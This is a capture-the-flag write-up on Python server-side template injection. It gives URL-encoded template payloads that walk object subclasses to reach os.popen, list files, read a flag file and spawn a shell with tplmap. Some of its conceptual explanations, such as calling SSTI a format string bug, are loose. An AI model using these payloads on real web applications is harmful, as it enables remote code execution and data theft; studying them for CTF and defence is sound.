Cause#
Encountered while solving a problem on xctf
0x00 Introduction to SSTI Vulnerabilities#
SSTI: Server-Side Template Injection
Server-side template injection is one of the types of format string vulnerabilities.
Injection is a manifestation of format string vulnerabilities
Whether it is binary or web, many vulnerabilities can be attributed to format string vulnerabilities.
SQL injection is the best representative of format string vulnerabilities, where SQL statements are executed in places where they should not be executed.
Part of the code closure injection in XSS also falls into this category.
So what is template injection?
When writing HTML code, many websites use templates for convenience. They first write an HTML file.
When developers want to use the style corresponding to this template, they can directly call the template using the render_template_string method.
Thus, the template injection refers to replacing a variable with a series of instructions and passing it to the template for execution.
0x01 Writeup#
First, let's create a simple test URL:
xxx.xxx.xxx.xxx:yyyyy/{{7*7}}

You can see that the instruction 7*7 is executed.
The problem mentions python template injection, indicating that the server-side script is in Python.
So we need to know the class methods in Python:
- class: Returns the class to which the object belongs
- mro: Returns a tuple of base classes that a class inherits, and methods are resolved in the order of the tuple during parsing.
- base: Returns the base class that the class inherits
- Both base and mro are used to find base classes
- subclasses: Each new class retains a reference to its subclasses, and this method returns a list of references that are still available in a class
- init: Class initialization method
- globals: Reference to the dictionary containing global variables for the function
First, let's check all the modules:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D

There are many modules here. In order to use the modules conveniently later, I wrote a small script to list the corresponding indices:
import requests
import re
import html
url = "http://xxx.xxx.xxx.xxx:yyyyy/[].__class__.__base__.__subclasses__()%7D%7D"
cont = html.unescape(requests.get(url).content.decode("utf8"))
type_list = re.findall(r"<type '.*?'>|<class '.*?'>", cont, re.S)
print(type_list)
for i in range(len(type_list)):
print(i, type_list[i])
The effect is as follows:

Here, we can use the linecache function of the catch_warnings module's .__init__.func_globals.keys() to call the os module.
xxx.xxx.xxx.xxx:yyyyy/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D

We can also use the printer function of the os module to execute command line statements using the os.popen function.
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D

Then continue to use os.popen to execute the cat fl4g command to display the contents of the fl4g file:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D
Or directly use the listdir method of the os module to find the flag file:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')%7D%7D

Then use the file method to read fl4g:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()%7D%7D
Finally, the content is read as follows:

This problem can also be solved using the server-side template injection tool tplmap.
Using the Python 2 environment, specify the URL and add the --os-shell parameter to directly obtain the target host shell:
python tplmap.py -u "http://xxx.xxx.xxx.xxx:yyyyy/*" --os-shell

End of this article.
Reference articles: